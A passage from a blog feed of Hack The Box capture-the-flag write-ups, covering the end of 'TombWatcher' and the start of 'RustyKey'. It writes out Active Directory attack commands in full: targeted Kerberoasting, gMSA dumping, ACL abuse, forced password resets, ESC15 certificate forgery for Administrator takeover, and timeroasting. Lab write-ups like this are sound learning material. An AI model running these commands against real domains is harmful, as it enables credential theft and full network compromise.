&lt;p&gt;&lt;img src=&quot;attachments/33b6d6eda4e57f068af35d6ab8b57a68.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bacf0dd9b6902b46bfb19ba40d7f4080.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can&apos;t find anything interesting.&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;I tried spraying the creds elsewhere but had no access so I decided to boot up &lt;code&gt;bloodhound&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6b826746874a78b4c99aa2d456a4fc04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This way I want to find out whether there&apos;s any &lt;strong&gt;kerberoastable&lt;/strong&gt; users, or anything else juicy for that matter.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9bcfee0e12bafd34b6183983eb1b7d6f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/14d23500aebac0bd80fe749c07fbc8db.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then started off by adding &lt;em&gt;henry&lt;/em&gt; to my list of &lt;strong&gt;owned&lt;/strong&gt; users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e8f0af4642136e48c2d1d08106350168.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used the &lt;strong&gt;Shortest Path from Owned&lt;/strong&gt; cypher and got the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f310545d745ffe3d04d06bc95c3f569a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found some new users:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alfred
sam
john
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8d1cb9f781b02e2218ea181da0893cc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61658f9eba04ad5833dbb486a69568a8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
This means we can get easy access as &lt;em&gt;alfred&lt;/em&gt; by using the &lt;code&gt;targetedKerberoast.py&lt;/code&gt; script and cracking the hash.
:::&lt;/p&gt;
&lt;h3&gt;Targeted Kerberoast&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;python3 targetedKerberoast.py -v -d &apos;tombwatcher.htb&apos; -u &apos;henry&apos; -p &apos;H3nry_987TGV!&apos; --request-user &apos;alfred&apos; --dc-ip tombwatcher.htb &amp;gt; alfred.hash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5067508592b71500f464120ef3f0d9e3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This error popped up because the target and my machine were out of sync.&lt;/p&gt;
&lt;h4&gt;Clock Fix&lt;/h4&gt;
&lt;p&gt;In order to fix this I went ahead and used the following command to sync:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c404012813660f5b06fc3d81c722604.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards the command ran fine:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/568cfa2d0109852ad5a0b421d7f12705.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;John&lt;/h3&gt;
&lt;p&gt;Time to use &lt;code&gt;john&lt;/code&gt; to crack the hash.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2ef3e9c30c67a338ae342d0d2b8a47b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alfred
basketball
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One more set of creds to add to our spraying list.&lt;/p&gt;
&lt;p&gt;:::note
this yet again yielded no interesting entry point.
:::&lt;/p&gt;
&lt;p&gt;Time to check &lt;code&gt;bloodhound&lt;/code&gt; again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ba5b337c1335bd76a9cac25e164dcab1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f33976d651c538ebdfe4da607c534d7d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Adding Alfred to INFRASTRUCTURE&lt;/h3&gt;
&lt;p&gt;We need to issue the following commands.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Change group
bloodyAD -u &apos;alfred&apos; -p &apos;basketball&apos; -d &apos;tombwatcher.htb&apos; --dc-ip 10.10.11.72 add groupMember &apos;INFRASTRUCTURE&apos; alfred

# Verify change
net rpc group members &quot;INFRASTRUCTURE&quot; -U &quot;tombwatcher.htb/Alfred&quot;%&quot;basketball&quot; -S &quot;DC01.tombwatcher.htb&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aca52b94dd4c496d3916502c7a2b0cc5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;alfred&lt;/em&gt; has been successfully added and we can continue on down the chain.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/313d849e44bd4afd8bda60f98081b585.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5feee76790da68aac614239ffabe0f5c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I click on the link and download &lt;code&gt;gMSADumper.py&lt;/code&gt; the script from the &lt;a href=&quot;https://github.com/micahvandeusen/gMSADumper&quot;&gt;github page&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ccbb10f717a2624f395c1102fa11b51f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 gMSADumper.py -u &apos;alfred&apos; -p &apos;basketball&apos; -d &apos;tombwatcher.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a06a492f9cd2e7853336cc788e7656a3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And just like that I got the hash for &lt;em&gt;ansible_dev&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Force Change Password&lt;/h3&gt;
&lt;p&gt;Next in line is &lt;em&gt;sam&lt;/em&gt;, and to get to them we need to do the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/044e08c2744ac69aa2923ea7d8b1d703.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/34b5350db18bcdf889e4b1dd2c47f533.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For this I will once again be using &lt;code&gt;bloodyAD&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -u &apos;ansible_dev$&apos; -p &apos;:4b21348ca4a9edff9689cdf75cbda439&apos; -d &apos;tombwatcher.htb&apos; --host 10.10.11.72 set password &apos;sam&apos; &apos;password123&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a57e3819d7c3e3125d2ebc9f51de840b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can log into &lt;code&gt;winrm&lt;/code&gt; with &lt;em&gt;sam&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;:::fail
....or rather not?&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f0c43b574e2945d65dbea0e77057e809.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It keeps hanging then fails, I guess we need to keep going down the chain.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a6fddd64cb180c56c0e83d49a8982194.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For this vector there&apos;s multiple sorts of abuse, but I&apos;ll try out the &lt;strong&gt;targeted kerberoast&lt;/strong&gt; first.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bb21285850a3d597b44f5a7ce3313827.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However that didn&apos;t work, let&apos;s enumerate the other options.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9cd798bdb6704303f9342774d84dd99c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Password change didn&apos;t work either.&lt;/p&gt;
&lt;h3&gt;User Takeover via ACL Abuse&lt;/h3&gt;
&lt;p&gt;Instead we&apos;ll have to use the following sequence of events in order to takeover &lt;em&gt;john&lt;/em&gt;&apos;s account by abusing the ACL privileges:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -u &apos;sam&apos; -p &apos;password123&apos; -d &apos;tombwatcher.htb&apos; --host 10.10.11.72 set owner john sam                  

bloodyAD -u &apos;sam&apos; -p &apos;password123&apos; -d &apos;tombwatcher.htb&apos; --host 10.10.11.72 add genericAll john sam                                                                                                                            bloodyAD -u &apos;sam&apos; -p &apos;password123&apos; -d &apos;tombwatcher.htb&apos; --host 10.10.11.72 set password &apos;john&apos; &apos;password123&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/614d393ed3b0775ca615c060305f0dff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can get on with logging in and getting the foothold!&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Evil-winrm as John&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54268d999e5e44730bf7486810e65cd9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f271cd65a07b9fa9380ce85812546be3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;Now it&apos;s time to further enumerate the machine:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/50e3b2a1aec065ccdc4b859843b2519e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No low hanging fruit.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bloodhound&lt;/code&gt; tells us the following, maybe we just need to finish following this chain.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6c71c0dac149a288717a76eda837f7d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I will now use the following command to enumerate previously deleted user accounts, specifically looking for any privileged users that were part of the &lt;strong&gt;ADCS&lt;/strong&gt; (Active Directory Certificate Services) structure.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-ADObject -Filter {isDeleted -eq $true -and ObjectClass -eq &quot;user&quot;} -IncludeDeletedObjects -Properties samAccountName, objectSid, whenCreated, whenChanged, lastKnownParent | 
Select-Object Name, samAccountName, ObjectGUID, @{Name=&quot;SID&quot;;Expression={$_.objectSid}}, @{Name=&quot;Changed&quot;;Expression={$_.whenChanged}}, @{Name=&quot;LastKnown&quot;;Expression={$_.lastKnownParent}} | 
Format-Table -AutoSize -Wrap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4cd44f2c1455960edc80e561b6376f87.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TLDR] Explanation
I am hunting for a previously deleted &lt;strong&gt;privileged user&lt;/strong&gt;, likely tied to &lt;strong&gt;Certificate Services abuse&lt;/strong&gt; (ESC1/ESC6/etc.). If I can &lt;strong&gt;restore&lt;/strong&gt; &lt;code&gt;cert_admin&lt;/code&gt;, I might:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Re-enable&lt;/strong&gt; a privileged user account&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reuse known creds&lt;/strong&gt; (password or cert)&lt;/li&gt;
&lt;li&gt;Abuse &lt;strong&gt;enrollment rights&lt;/strong&gt; or &lt;strong&gt;existing templates&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;So what does the above tell us?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There were &lt;strong&gt;multiple instances&lt;/strong&gt; of a &lt;code&gt;cert_admin&lt;/code&gt; account.&lt;/li&gt;
&lt;li&gt;All were deleted, but &lt;strong&gt;the name and OU (ADCS)&lt;/strong&gt; suggest it had elevated privileges related to certificate services.&lt;/li&gt;
&lt;li&gt;If &lt;strong&gt;ADCS misconfigurations exist&lt;/strong&gt;, this account might have left behind &lt;strong&gt;orphaned certificates or enrollments&lt;/strong&gt; you can abuse.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Restoring cert_admin&lt;/h2&gt;
&lt;p&gt;So we need to restore the last instance of the &lt;em&gt;cert_admin&lt;/em&gt; account as follows, in order to leverage it and escalate privs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/33cb7e764dae854e0ed06151b3b8582d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/68197d801e7d24ab32b92f21079fcbda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that that is done we need to use &lt;code&gt;bloodyAD&lt;/code&gt; again to set a new password for this account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3bfc18d09064ae7004132ad103a79e01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Not fully there yet however, we still cannot log into &lt;code&gt;winrm&lt;/code&gt; with this user, since this is a &lt;strong&gt;certificate service account&lt;/strong&gt; we need to use &lt;code&gt;certipy-ad&lt;/code&gt; to find vulnerabilities that we can exploit.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7343570f08fa0cebfd8819f7115ed661.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gives a lot of info, but the most important part is in the bottom:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2144fbc33acbd9c02ef04c0ca379f1d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;According to the script the target is vulnerable to &lt;strong&gt;ESC15&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;:::note
More about this topic &lt;a href=&quot;https://abrictosecurity.com/esc15-the-evolution-of-adcs-attacks/&quot;&gt;here&lt;/a&gt;
:::&lt;/p&gt;
&lt;h2&gt;ESC15 Abuse&lt;/h2&gt;
&lt;h3&gt;Forging Administrator Cert&lt;/h3&gt;
&lt;p&gt;Now we will use the following commands to forge new certificates and change the &lt;em&gt;Administrator&lt;/em&gt; password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &apos;cert_admin@tombwatcher.htb&apos; -p &apos;password123&apos; -target &apos;DC01.tombwatcher.htb&apos; -ca &apos;tombwatcher-CA-1&apos; -template &apos;WebServer&apos; -upn &apos;Administrator&apos; -application-policies &apos;Client Authentication&apos;

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72 -domain tombwatcher.htb -ldap-shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4092c047c8d51bd21c3fdfb8ca12efcf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can go ahead and use the newly set creds to log into &lt;code&gt;evil-winrm&lt;/code&gt; as &lt;em&gt;Administrator&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5aa0cd3be45030471f35ea624d6124c0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/169436bc343b0aeb1430c7f0d1d502fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d73efcac98bffd48427d613d21b199ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-RustyKey</title><link>https://maxk9999.vercel.app/posts/rustykey</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/rustykey</guid><pubDate>Thu, 03 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.75

Creds:
rr.parker / 8#t5HE8L!W3A
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn rusty.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-07-04 03:14:33Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack Microsoft Windows RPC
49692/tcp open  msrpc         syn-ack Microsoft Windows RPC
49727/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-04T03:15:25
|_  start_date: N/A
|_clock-skew: 8h00m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 51928/tcp): CLEAN (Couldn&apos;t connect)
|   Check 2 (port 22945/tcp): CLEAN (Couldn&apos;t connect)
|   Check 3 (port 63867/udp): CLEAN (Failed to receive data)
|   Check 4 (port 40875/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pass the Key - TGT&lt;/h2&gt;
&lt;p&gt;This was unsuccessful with the current user creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cf7d49d4ce434753e76a31328c3ea579.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bloodhound-ce-python&lt;/code&gt; didn&apos;t work either:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dff6c5f08ccef98bf91f145f15cfc5c7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So what now?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c846cf387a1552b6b2a8ffc613f69f38.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But first I had to make some quick changes in the &lt;code&gt;/etc/krb5.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2bf0c421361730dbfebeb99645490e84.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/79f36431b8bfa851fa26a170627617b0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now fix the clock skew and get the &lt;code&gt;tgt&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT &apos;rustykey.htb/rr.parker&apos; -dc-ip 10.10.11.75
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3b2d3f57593e7116f69f88e76deba31b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d301960880c20a41b36c7f4e71f29b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;BloodHound&lt;/h3&gt;
&lt;p&gt;Time to do some enumeration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;10.10.11.75 dc.rustykey.htb&quot; | sudo tee -a /etc/hosts 

bloodhound-ce-python -u rr.parker -p &apos;8#t5HE8L!W3A&apos; -ns 10.10.11.75 -c all -k -d rustykey.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8c5c15eaaf2f61716cc55d24e6a098e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I can start graphing it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7fad91e0fe4c29ffede7535250f6ac2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
I couldn&apos;t really find anything useful for now, but I will definitely come back here
:::&lt;/p&gt;
&lt;h3&gt;User Enum&lt;/h3&gt;
&lt;p&gt;I then proceded by using &lt;code&gt;nxc&lt;/code&gt; in conjuncture with &lt;code&gt;ldap&lt;/code&gt; in order to enumerate all the users on the domain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap rustykey.htb -u users.txt -p passwords.txt --users -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0e89d23671affadb925cbb4a79329d2e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
The &lt;em&gt;backupadmin&lt;/em&gt; user stands out immediately, that might be our priv esc later on.
:::&lt;/p&gt;
&lt;p&gt;I added all of the above for my users list.&lt;/p&gt;
&lt;h3&gt;Timeroasting&lt;/h3&gt;
&lt;p&gt;So after being stuck on this part I went on and checked out some resources online on what I could do next. Here I found &lt;a href=&quot;https://medium.com/@offsecdeer/targeted-timeroasting-stealing-user-hashes-with-ntp-b75c1f71b9ac&quot;&gt;this article&lt;/a&gt; on &lt;em&gt;timeroasting&lt;/em&gt; which I&apos;ve never heard of before:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/862f8ed44915bb5e2f34e000c38ee4f9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Very interesting read, to set up my attack I found &lt;a href=&quot;https://github.com/SecuraBV/Timeroast&quot;&gt;this GitHub repo&lt;/a&gt; containing a &lt;code&gt;python&lt;/code&gt; script:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b9be8575594e175eb1e6d6e47233d7e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could run the command easily as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 timeroast.py rustykey.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e9128ce13de1210d4b4a174e6ca95737.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and put these in a file and started cracking.&lt;/p&gt;
&lt;h3&gt;Hashcat (beta)&lt;/h3&gt;
&lt;p&gt;In order to crack this I needed a beta module of &lt;code&gt;hashcat&lt;/code&gt; which included mode &lt;code&gt;31300&lt;/code&gt; that could crack this hash format:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d0e842934979245c154d25f73b70328.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
I could easily find it &lt;a href=&quot;https://hashcat.net/beta/&quot;&gt;here&lt;/a&gt;.
:::&lt;/p&gt;
&lt;p&gt;After unzipping the file I started cracking.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6568b4345fcbe57608a6f91121fb3b10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Rusty88!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Finding Corresponding Object ID&lt;/h3&gt;
&lt;p&gt;I now had a list of computers that I found through &lt;em&gt;timeroasting&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a13470e32c0c327e95bca89ea230bd04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could check &lt;code&gt;bloodhound&lt;/code&gt; and see which computers these Object ID&apos;s belong to:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/958dbf0694c831373d249b569089a4c4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started enumerating them and found the cracked Object ID inside &lt;code&gt;IT/COMPUTERS/COMPUTER-3&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09bb6820cfd17d4c4010ff66e8ba950e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I could add this computer to my list of owned principals.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c6170c0a794664c7d1acad45c3e26846.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed that I could add myself to the &lt;strong&gt;HELPDESK&lt;/strong&gt; group.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/240832bb7cd48563582ec89db75aa5d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;AddSelf&lt;/h3&gt;
&lt;p&gt;I tried it out using &lt;code&gt;bloodyAD&lt;/code&gt; but got this error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/04d9fc9b10eb6f8c502121b840b1e05a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
On closer inspection it makes sense that it failed:
Machine accounts &lt;strong&gt;can’t authenticate via NTLM directly&lt;/strong&gt; like regular user accounts &lt;em&gt;in most cases&lt;/em&gt;—they are designed to use &lt;strong&gt;Kerberos tickets&lt;/strong&gt; (machine authentication requires a valid TGT).
:::&lt;/p&gt;
&lt;p&gt;So, we need to request a TGT again.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT &apos;rustykey.htb/IT-COMPUTER3$&apos; -dc-ip 10.10.11.75
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f996d883d66f9fd5c8aca001b5f0ae32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d2229aa7c053796b9c1890f5c86b94b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I retried the previous command with &lt;code&gt;-k&lt;/code&gt; but got this error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/da5d134d89bf93d50028589038af7a39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I had to specify the &lt;code&gt;host&lt;/code&gt; in this case, the full command looks as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; add groupMember HELPDESK &apos;IT-COMPUTER3$&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d231b4ddcd58f4f768d001ae63ef93a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Great! I was able to add myself to the &lt;strong&gt;HELPDESK&lt;/strong&gt; group, I can now move on to the next step.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1831c0663a90e73495de51adea1b3855.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&apos;d like to exploit &lt;em&gt;bb.morgan&lt;/em&gt; in order to get RCE, however the following is bugging me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/48d1be60480908ba212aec980abe6a78.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
